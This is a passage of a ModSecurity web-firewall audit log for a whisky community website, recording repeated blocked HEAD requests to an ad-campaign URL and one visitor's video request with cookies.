Stopwatch: 1789273504684080 6804 (- - -)
Stopwatch2: 1789273504684080 6804; combined=5037, p1=285, p2=4322, p3=90, p4=6, p5=334, sr=105, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--ced28e45-Z--
--4714c738-A--
[13/Sep/2026:07:25:05.077294 +0300] aqYloWM7dE9KgIIOpQhhsQAAANg 151.243.174.234 60968 127.0.0.1 7081
--4714c738-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.234
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--4714c738-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--4714c738-E--
--4714c738-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273505070609 6726 (- - -)
Stopwatch2: 1789273505070609 6726; combined=5005, p1=255, p2=4368, p3=80, p4=6, p5=296, sr=107, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--4714c738-Z--
--f6e59a1d-A--
[13/Sep/2026:07:25:05.434788 +0300] aqYloUwu1RSkptiiNIXvtwAAAIs 151.243.174.165 60974 127.0.0.1 7081
--f6e59a1d-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.165
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--f6e59a1d-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--f6e59a1d-E--
--f6e59a1d-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273505428674 6153 (- - -)
Stopwatch2: 1789273505428674 6153; combined=4511, p1=197, p2=3946, p3=81, p4=8, p5=279, sr=79, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f6e59a1d-Z--
--c527e21c-A--
[13/Sep/2026:07:25:09.195509 +0300] aqYlpWM7dE9KgIIOpQhhswAAANE 95.134.102.141 48106 127.0.0.1 7081
--c527e21c-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.141
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--c527e21c-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--c527e21c-E--
--c527e21c-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273509188337 7247 (- - -)
Stopwatch2: 1789273509188337 7247; combined=5252, p1=992, p2=3953, p3=65, p4=7, p5=235, sr=781, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c527e21c-Z--
--e7ff6312-A--
[13/Sep/2026:07:25:09.554207 +0300] aqYlpUwu1RSkptiiNIXvuAAAAJU 151.243.174.22 48120 127.0.0.1 7081
--e7ff6312-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.22
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--e7ff6312-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--e7ff6312-E--
--e7ff6312-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273509547834 6412 (- - -)
Stopwatch2: 1789273509547834 6412; combined=4778, p1=300, p2=4129, p3=79, p4=8, p5=262, sr=108, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e7ff6312-Z--
--1d1acf3f-A--
[13/Sep/2026:07:25:09.915830 +0300] aqYlpWM7dE9KgIIOpQhhtAAAAM0 95.134.102.78 48130 127.0.0.1 7081
--1d1acf3f-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.78
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--1d1acf3f-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--1d1acf3f-E--
--1d1acf3f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273509908506 7368 (- - -)
Stopwatch2: 1789273509908506 7368; combined=5621, p1=319, p2=4878, p3=85, p4=8, p5=330, sr=130, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--1d1acf3f-Z--
--f14c044b-A--
[13/Sep/2026:07:26:04.743329 +0300] aqYl3GM7dE9KgIIOpQhhxwAAANU 151.243.174.201 34786 127.0.0.1 7081
--f14c044b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.201
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--f14c044b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--f14c044b-E--
--f14c044b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273564736110 7280 (- - -)
Stopwatch2: 1789273564736110 7280; combined=4714, p1=258, p2=4095, p3=73, p4=7, p5=280, sr=101, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f14c044b-Z--
--fedd7270-A--
[13/Sep/2026:07:26:05.138343 +0300] aqYl3WM7dE9KgIIOpQhhyAAAANM 95.134.102.135 34792 127.0.0.1 7081
--fedd7270-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.135
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--fedd7270-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--fedd7270-E--
--fedd7270-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273565123074 15316 (- - -)
Stopwatch2: 1789273565123074 15316; combined=13707, p1=1636, p2=11688, p3=80, p4=8, p5=295, sr=181, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--fedd7270-Z--
--c270613e-A--
[13/Sep/2026:07:26:05.962257 +0300] aqYl3WM7dE9KgIIOpQhhzQAAAM0 151.243.174.123 56768 127.0.0.1 7081
--c270613e-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.123
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--c270613e-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--c270613e-E--
--c270613e-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273565956265 6048 (- - -)
Stopwatch2: 1789273565956265 6048; combined=4340, p1=320, p2=3634, p3=84, p4=7, p5=294, sr=102, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c270613e-Z--
--338b277e-A--
[13/Sep/2026:07:26:09.687578 +0300] aqYl4WM7dE9KgIIOpQhhzgAAANc 95.134.102.242 56788 127.0.0.1 7081
--338b277e-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--338b277e-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--338b277e-E--
--338b277e-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273569680052 7612 (- - -)
Stopwatch2: 1789273569680052 7612; combined=5256, p1=974, p2=3928, p3=79, p4=7, p5=267, sr=107, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--338b277e-Z--
--03d7b418-A--
[13/Sep/2026:07:26:18.498720 +0300] aqYl6mM7dE9KgIIOpQhh0gAAAMo 151.243.174.201 38884 127.0.0.1 7081
--03d7b418-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.201
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--03d7b418-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--03d7b418-E--
--03d7b418-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273578488835 9924 (- - -)
Stopwatch2: 1789273578488835 9924; combined=7075, p1=2449, p2=4185, p3=87, p4=7, p5=346, sr=127, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--03d7b418-Z--
--07017736-A--
[13/Sep/2026:07:26:18.907677 +0300] aqYl6kwu1RSkptiiNIXvxAAAAIs 151.243.174.27 38896 127.0.0.1 7081
--07017736-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.27
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--07017736-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--07017736-E--
--07017736-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273578900845 6883 (- - -)
Stopwatch2: 1789273578900845 6883; combined=4797, p1=258, p2=4130, p3=73, p4=7, p5=329, sr=110, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--07017736-Z--
--3dbd9009-A--
[13/Sep/2026:07:26:19.247571 +0300] aqYl6zTJ6xTvcJoem7f2bAAAAEQ 95.134.102.249 38912 127.0.0.1 7081
--3dbd9009-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.249
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--3dbd9009-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--3dbd9009-E--
--3dbd9009-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273579241797 5840 (- - -)
Stopwatch2: 1789273579241797 5840; combined=4274, p1=227, p2=3666, p3=91, p4=8, p5=281, sr=100, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--3dbd9009-Z--
--d58c2c4d-A--
[13/Sep/2026:07:26:30.080712 +0300] aqYl9WM7dE9KgIIOpQhh1wAAAME 86.120.238.95 39516 127.0.0.1 7081
--d58c2c4d-B--
GET /img/videos/video-whiskey.mp4 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 86.120.238.95
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua-platform: "Android"
Accept-Encoding: identity;q=1, *;q=0
User-Agent: Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Mobile Safari/537.36
sec-ch-ua: "Chromium";v="152", "Not?A_Brand";v="24", "Google Chrome";v="152"
sec-ch-ua-mobile: ?1
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: video
Referer: https://singlemaltcommunity.com/?redirect=%2Fro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984%26gclid%3DEAIaIQobChMI14aSt9vqlgMV09UCBx2Qwg9hEAEYASAAEgIZ2fD_BwE
Accept-Language: hu-HU,hu;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: csrfToken=VHzkQ%2FjdPioUerwjVMo8E2QzM2QyZjhjNDA1YjEwZDE2ZmE3Mjk4ZTAwODRlYWRjZjYxYjYyMWE%3D; CookieConsent=-3; _gcl_au=1.1.357296221.1789273567; _ga=GA1.1.1602539096.1789273568; _ga_5EFMKTFY44=GS2.1.s1789273568$o1$g0$t1789273569$j59$l0$h2103200229
Range: bytes=0-
--d58c2c4d-F--
HTTP/1.1 206 Partial Content
Last-Modified: Thu, 11 Jun 2026 16:35:31 GMT
ETag: "12d9812-653fcf2df1dce"
Accept-Ranges: bytes
Content-Length: 19765266
Content-Range: bytes 0-19765265/19765266
Content-Type: video/mp4
--d58c2c4d-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:206"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Message: Warning. Pattern match "fff$" at UNIQUE_ID. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "548"] [id "77316842"] [msg "IM360 WAF: Performance measurement||PERF_ALL:combined=5655, p1=326, p2=5329, p3=0, p4=0, p5=0, sr=224, sw=0, l=0, gc=0||T:APACHE||"] [severity "NOTICE"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "fff$" at UNIQUE_ID. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "548"] [id "77316842"] [msg "IM360 WAF: Performance measurement||PERF_ALL:combined=5655, p1=326, p2=5329, p3=0, p4=0, p5=0, sr=224, sw=0, l=0, gc=0||T:APACHE||"] [severity "NOTICE"] [tag "service_i360"] [tag "noshow"] [hostname "singlemaltcommunity.com"] [uri "/webroot/img/videos/video-whiskey.mp4"] [unique_id "aqYl9WM7dE9KgIIOpQhh1wAAAME"]
Stopwatch: 1789273589984926 95873 (- - -)
Stopwatch2: 1789273589984926 95873; combined=6050, p1=326, p2=5329, p3=0, p4=0, p5=395, sr=224, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
WebApp-Info: "default" "1789273568" "-"
Engine-Mode: "ENABLED"
--d58c2c4d-Z--
--6f88003b-A--
[13/Sep/2026:07:26:35.085988 +0300] aqYl@2M7dE9KgIIOpQhh2AAAAMM 95.134.102.78 39522 127.0.0.1 7081
--6f88003b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.78
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--6f88003b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--6f88003b-E--
--6f88003b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273595078920 7107 (- - -)
Stopwatch2: 1789273595078920 7107; combined=4310, p1=310, p2=3635, p3=68, p4=7, p5=289, sr=144, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6f88003b-Z--
--2e348c7e-A--
[13/Sep/2026:07:26:35.510762 +0300] aqYl@2M7dE9KgIIOpQhh2QAAANE 95.134.102.157 39536 127.0.0.1 7081
--2e348c7e-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.157
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--2e348c7e-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--2e348c7e-E--
--2e348c7e-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273595500924 9887 (- - -)
Stopwatch2: 1789273595500924 9887; combined=6466, p1=535, p2=5521, p3=75, p4=8, p5=326, sr=255, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--2e348c7e-Z--
--658ec864-A--
[13/Sep/2026:07:26:35.551327 +0300] aqYl@2M7dE9KgIIOpQhh2gAAANY 151.243.174.107 59738 127.0.0.1 7081
--658ec864-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.107
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--658ec864-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--658ec864-E--
--658ec864-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273595545734 5632 (- - -)
Stopwatch2: 1789273595545734 5632; combined=4192, p1=244, p2=3611, p3=63, p4=7, p5=267, sr=97, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--658ec864-Z--
--89879006-A--
[13/Sep/2026:07:26:35.900725 +0300] aqYl@2M7dE9KgIIOpQhh2wAAAMs 151.243.174.45 59748 127.0.0.1 7081
--89879006-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.45
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--89879006-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--89879006-E--
--89879006-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273595893929 6837 (- - -)
Stopwatch2: 1789273595893929 6837; combined=4410, p1=316, p2=3750, p3=67, p4=6, p5=271, sr=154, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--89879006-Z--
--600a5c35-A--
[13/Sep/2026:07:26:35.962027 +0300] aqYl@0wu1RSkptiiNIXvxgAAAI4 95.134.102.250 59762 127.0.0.1 7081
--600a5c35-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.250
